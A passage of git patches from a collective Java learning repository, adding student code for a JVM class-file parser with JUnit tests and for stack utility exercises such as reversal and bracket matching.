+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,112 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import sun.invoke.util.BytecodeDescriptor;
+
+import javax.lang.model.element.Name;
+
+public class ClassFileParser {
+
+    public ClassFile parse(byte[] codes) {
+
+        ClassFile clzFile = new ClassFile();
+        ByteCodeIterator iter = new ByteCodeIterator(codes);
+
+        String magicNumber = iter.nextU4ToHexString();
+        if (!"cafebabe".equals(magicNumber)) {
+            return null;
+        }
+
+        clzFile.setMinorVersion(iter.nextU2ToInt());
+        clzFile.setMajorVersion(iter.nextU2ToInt());
+        clzFile.setConstPool(parseConstantPool(iter));
+        clzFile.setAccessFlag(parseAccessFlag(iter));
+        clzFile.setClassIndex(parseClassInfex(iter));
+        return clzFile;
+    }
+
+    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+        return new AccessFlag(iter.nextU2ToInt());
+    }
+
+    private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+        ClassIndex clzIndex = new ClassIndex();
+        clzIndex.setThisClassIndex(iter.nextU2ToInt());
+        clzIndex.setSuperClassIndex(iter.nextU2ToInt());
+
+        return clzIndex;
+
+    }
+
+    private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+        int constantNum = iter.nextU2ToInt();
+        ConstantPool pool = new ConstantPool();
+        pool.addConstantInfo(new NullConstantInfo());
+
+        for (int i = 0; i < constantNum - 1; i++) {
+            int tag = iter.nextU1ToInt();
+            if (tag == 1) {
+                //utf-8_info
+                int len = iter.nextU2ToInt();
+                byte[] buffer = new byte[len];
+                buffer = iter.getCodes(len);
+                String s = null;
+                try {
+                    s = new String(buffer, "UTF-8");
+                } catch (UnsupportedEncodingException e) {
+                    e.printStackTrace();
+                }
+                UTF8Info utf8Info = new UTF8Info(pool);
+                utf8Info.setLength(len);
+                utf8Info.setValue(s);
+                pool.addConstantInfo(utf8Info);
+            } else if (tag == 7) {
+                //class_info
+                int utf8Index = iter.nextU2ToInt();
+                ClassInfo classInfo = new ClassInfo(pool);
+                classInfo.setUtf8Index(utf8Index);
+                pool.addConstantInfo(classInfo);
+            } else if (tag == 8) {
+                int stringIndex = iter.nextU2ToInt();
+                StringInfo stringInfo = new StringInfo(pool);
+                stringInfo.setIndex(stringIndex);
+                pool.addConstantInfo(stringInfo);
+            } else if (tag == 9) {
+                FieldRefInfo info = new FieldRefInfo(pool);
+                info.setClassInfoIndex(iter.nextU2ToInt());
+                info.setNameAndTypeIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(info);
+            } else if (tag == 10) {
+                MethodRefInfo info = new MethodRefInfo(pool);
+                info.setClassInfoIndex(iter.nextU2ToInt());
+                info.setNameAndTypeIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(info);
+            } else if (tag == 12) {
+                NameAndTypeInfo info = new NameAndTypeInfo(pool);
+                info.setIndex1((iter.nextU2ToInt()));
+                info.setIndex2(iter.nextU2ToInt());
+                pool.addConstantInfo(info);
+            } else {
+                throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
+            }
+
+        }
+        return pool;
+    }
+
+
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..638b193f69
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,202 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week5_jvm\\out\\production\\untitled";
+	static String path2 = "C:\\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+   
+
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/util/Util.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}

From e01a26e4da32b9e564036450a98a1da98d5e0bda Mon Sep 17 00:00:00 2001
From: 10094714 <wang.chao29@zte.com.cn>
Date: Tue, 11 Apr 2017 14:46:55 +0800
Subject: [PATCH 069/262] StackUtil practise

---
 .../learning/java/stack/StackUtil.java        | 12 ++-
 .../learning/java/stack/StackUtilTest.java    | 76 +++++++++++++++++++
 2 files changed, 85 insertions(+), 3 deletions(-)
 create mode 100644 group06/263050006/src/test/java/com/github/chaoswang/learning/java/stack/StackUtilTest.java

diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/stack/StackUtil.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/stack/StackUtil.java
index d5d7ecc223..986d434531 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/stack/StackUtil.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/stack/StackUtil.java
@@ -1,21 +1,27 @@
 package com.github.chaoswang.learning.java.stack;
 
+import java.util.Stack;
 public class StackUtil {
 
 	/**
 	 * ����ջ�е�Ԫ����Integer, ��ջ����ջ���� : 5,4,3,2,1 ���ø÷����� Ԫ�ش����Ϊ: 1,2,3,4,5
 	 * ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty�� ����ʹ������һ��ջ������
 	 */
-	public static void reverse(Stack s) {
+	public static void reverse(Stack<Integer> s) {
 
 	}
+	
+	public static void addToBottom(Stack<Integer> s,  Integer value){
+		
+	}
+	
 
 	/**
 	 * ɾ��ջ�е�ij��Ԫ�� ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty�� ����ʹ������һ��ջ������
 	 * 
 	 * @param o
 	 */
-	public static void remove(Stack s, Object o) {
+	public static void remove(Stack<Integer> s, Object o) {
 
 	}
 
@@ -26,7 +32,7 @@ public static void remove(Stack s, Object o) {
 	 * @param len
 	 * @return
 	 */
-	public static Object[] getTop(Stack s, int len) {
+	public static Object[] getTop(Stack<Integer> s, int len) {
 		return null;
 	}
 
diff --git a/group06/263050006/src/test/java/com/github/chaoswang/learning/java/stack/StackUtilTest.java b/group06/263050006/src/test/java/com/github/chaoswang/learning/java/stack/StackUtilTest.java
new file mode 100644
index 0000000000..cce5434964
--- /dev/null
+++ b/group06/263050006/src/test/java/com/github/chaoswang/learning/java/stack/StackUtilTest.java
@@ -0,0 +1,76 @@
+package com.github.chaoswang.learning.java.stack;
+
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testAddToBottom() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		
+		StackUtil.addToBottom(s, 0);
+		
+		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
+		
+	}
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}

From ef3adff5c00333c45dbc4cd9668805d8b292df84 Mon Sep 17 00:00:00 2001
From: '1299310140' <'13437282785@163.com'>
Date: Tue, 11 Apr 2017 16:26:11 +0800
Subject: [PATCH 070/262] =?UTF-8?q?StackUtil.reverse=E9=80=92=E5=BD=92?=
 =?UTF-8?q?=E5=AE=9E=E7=8E=B0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/com/coding/basic/stack/StackUtil.java | 51 ++++++++++++++-----
 1 file changed, 39 insertions(+), 12 deletions(-)

diff --git a/group04/1299310140/src/com/coding/basic/stack/StackUtil.java b/group04/1299310140/src/com/coding/basic/stack/StackUtil.java
index d4809b98bc..1dd70e80f4 100644
--- a/group04/1299310140/src/com/coding/basic/stack/StackUtil.java
+++ b/group04/1299310140/src/com/coding/basic/stack/StackUtil.java
@@ -6,26 +6,52 @@ public class StackUtil {
 	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
 	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
 	 */
-	public static void reverse(Stack s) {
-		if(s == null){
+	public static void reverse(Stack s) {//s:[1,2,3,4,5]
+		if(s == null || s.isEmpty()){
 			return;
 		}
 		
 		Stack reverseOne = new Stack();
 		while(!s.isEmpty()){
 			reverseOne.push(s.pop());
-		}
+		}//s:[] reverseOne:[5,4,3,2,1]
 		
 		Stack reverseTwo = new Stack();
 		while(!reverseOne.isEmpty()){
 			reverseTwo.push(reverseOne.pop());
-		}
+		}//s:[] reverseOne:[] reverseTwo:[1,2,3,4,5]
 		
 		while(!reverseTwo.isEmpty()){
 			s.push(reverseTwo.pop());
-		}
+		}//s:[5,4,3,2,1] reverseOne:[] reverseTwo:[]
 		
 	}
+	
+	//递归实现
+	public static void reverse_V1(Stack s){
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		
+		Object top = s.pop();
+		if(!s.isEmpty()){
+			StackUtil.reverse_V1(s);
+			
+			Stack temp = new Stack();
+			while(!s.isEmpty()){
+				temp.push(s.pop());
+			}
+			
+			s.push(top);
+			
+			while(!temp.isEmpty()){
+				s.push(temp.pop());
+			}
+			
+		}else{
+			s.push(top);
+		}
+    }
 
 	/**
 	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
@@ -33,7 +59,7 @@ public static void reverse(Stack s) {
 	 * @param o
 	 */
 	public static void remove(Stack s,Object o) {
-		if(s == null){
+		if(s == null || s.isEmpty()){
 			return;
 		}
 		
@@ -58,8 +84,8 @@ public static void remove(Stack s,Object o) {
 	 * @param len
 	 * @return
 	 */
-	public static Object[] getTop(Stack s,int len) {//len>s的size,null填充
-		if(s == null || len <= 0){
+	public static Object[] getTop(Stack s,int len) {//若len>s的size,则Object[size]~Object[len-1]为null
+		if(s == null || s.isEmpty() || len <= 0){
 			return null;
 		}
 		
@@ -79,7 +105,7 @@ public static Object[] getTop(Stack s,int len) {//len>s的size,null填充
 	}
 	
 	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,y,z
 	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
 	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
 	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
@@ -87,17 +113,17 @@ public static Object[] getTop(Stack s,int len) {//len>s的size,null填充
 	 * @return
 	 */
 	public static boolean isValidPairs(String s){
-		if(s == null){
+		if(s == null || s.length() == 0 || s.length() == 1){
 			return true;
 		}
 		
 		char[] sc = s.toCharArray();
-		Stack scStack = new Stack();
+		Stack scStack = new Stack();//用该栈保存参数字符串的字符数组
 		for(int i = 0;i < sc.length;i++){
 			scStack.push(sc[i]);
 		}
 	    
-		Stack temp = new Stack();
+		Stack temp = new Stack();//保存')' ']' '}'
 		while(!scStack.isEmpty()){
 			char scStackTop = (char)scStack.pop();
 			if(scStackTop == ')' || scStackTop == ']' || scStackTop == '}'){
@@ -110,6 +136,7 @@ public static boolean isValidPairs(String s){
 					return false;
 				}
 				char tempTop = (char)temp.pop();
+				//scStackTop:'('or'['or'{'   tempTop:')'or']'or'}'
 				if((scStackTop + 1 == tempTop) || (scStackTop + 2 == tempTop)){
 					continue;
 				}else{

From e19041e745b9ad715abfd321d8a35478b49310b6 Mon Sep 17 00:00:00 2001
From: chaoswang <chaoswang@163.com>
Date: Tue, 11 Apr 2017 22:37:38 +0800
Subject: [PATCH 071/262] =?UTF-8?q?jvm=E7=AC=AC=E4=BA=8C=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E6=A1=86=E6=9E=B6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../java/downloader/impl/ConnectionImpl.java  |   3 +-
 .../learning/java/jvm/ClassFileLoader.java    |  24 ----
 .../learning/java/jvm/clz/AccessFlag.java     |  26 ++++
 .../learning/java/jvm/clz/ClassFile.java      |  76 +++++++++++
 .../learning/java/jvm/clz/ClassIndex.java     |  22 ++++
 .../learning/java/jvm/constant/ClassInfo.java |  28 ++++
 .../java/jvm/constant/ConstantInfo.java       |  32 +++++
 .../java/jvm/constant/ConstantPool.java       |  31 +++++
 .../java/jvm/constant/FieldRefInfo.java       |  54 ++++++++
 .../java/jvm/constant/MethodRefInfo.java      |  57 +++++++++
 .../java/jvm/constant/NameAndTypeInfo.java    |  48 +++++++
 .../java/jvm/constant/NullConstantInfo.java   |  13 ++
 .../java/jvm/constant/StringInfo.java         |  27 ++++
 .../learning/java/jvm/constant/UTF8Info.java  |  37 ++++++
 .../java/jvm/loader/ByteCodeIterator.java     |   5 +
 .../java/jvm/loader/ClassFileLoader.java      | 116 +++++++++++++++++
 .../java/jvm/loader/ClassFileParser.java      |  31 +++++
 .../learning/java/jvm/util/Util.java          |  22 ++++
 .../java/jvm/ClassFileloaderTest.java         | 120 +++++++++++++++++-
 19 files changed, 743 insertions(+), 29 deletions(-)
 delete mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/ClassFileLoader.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/AccessFlag.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassFile.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassIndex.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ClassInfo.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ConstantInfo.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ConstantPool.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/FieldRefInfo.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/MethodRefInfo.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/NullConstantInfo.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/StringInfo.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/UTF8Info.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ByteCodeIterator.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ClassFileLoader.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/loader/ClassFileParser.java
 create mode 100644 group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/util/Util.java

diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/downloader/impl/ConnectionImpl.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/downloader/impl/ConnectionImpl.java
index d3cd269ee1..ee9cd68c56 100644
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/downloader/impl/ConnectionImpl.java
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/downloader/impl/ConnectionImpl.java
@@ -40,7 +40,8 @@ public byte[] read(int startPos, int endPos) throws IOException {
         ByteArrayOutputStream bos = new ByteArrayOutputStream();    
 		int len = 0;    
 		int hasRead = 0;
-        while((len < currentSectionLength) && ((hasRead = is.read(buffer)) != -1)) {    
+        while((len < currentSectionLength) && ((hasRead = is.read(buffer)) != -1)) { 
+        	System.out.println(buffer.length);
             bos.write(buffer, 0, hasRead);  
             len += hasRead;
         }    
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/ClassFileLoader.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/ClassFileLoader.java
deleted file mode 100644
index 1b0b8f1514..0000000000
--- a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/ClassFileLoader.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.github.chaoswang.learning.java.jvm;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-
-	public byte[] readBinaryCode(String className) {
-
-		return null;
-
-	}
-
-	public void addClassPath(String path) {
-
-	}
-
-	public String getClassPath() {
-		return null;
-	}
-
-}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/AccessFlag.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..02c11cc5d7
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/AccessFlag.java
@@ -0,0 +1,26 @@
+package com.github.chaoswang.learning.java.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+
+	public boolean isPublicClass() {
+		return (this.flagValue & 0x0001) != 0;
+	}
+
+	public boolean isFinalClass() {
+		return (this.flagValue & 0x0010) != 0;
+	}
+
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassFile.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..26b2d02b67
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassFile.java
@@ -0,0 +1,76 @@
+package com.github.chaoswang.learning.java.jvm.clz;
+
+import com.github.chaoswang.learning.java.jvm.constant.ClassInfo;
+import com.github.chaoswang.learning.java.jvm.constant.ConstantPool;
+
+public class ClassFile {
+
+	private int minorVersion;
+	private int majorVersion;
+
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+
+	public ConstantPool getConstantPool() {
+		return pool;
+	}
+
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+
+	}
+
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;
+	}
+
+	public void print() {
+		if (this.accessFlag.isPublicClass()) {
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:" + getClassName());
+
+		System.out.println("Super Class Name:" + getSuperClassName());
+
+	}
+
+	private String getClassName() {
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+
+	private String getSuperClassName() {
+		ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
\ No newline at end of file
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassIndex.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..572db1f6d8
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/clz/ClassIndex.java
@@ -0,0 +1,22 @@
+package com.github.chaoswang.learning.java.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
diff --git a/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ClassInfo.java b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..2bbf8a79a7
--- /dev/null
+++ b/group06/263050006/src/main/java/com/github/chaoswang/learning/java/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package com.github.chaoswang.learning.java.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index;
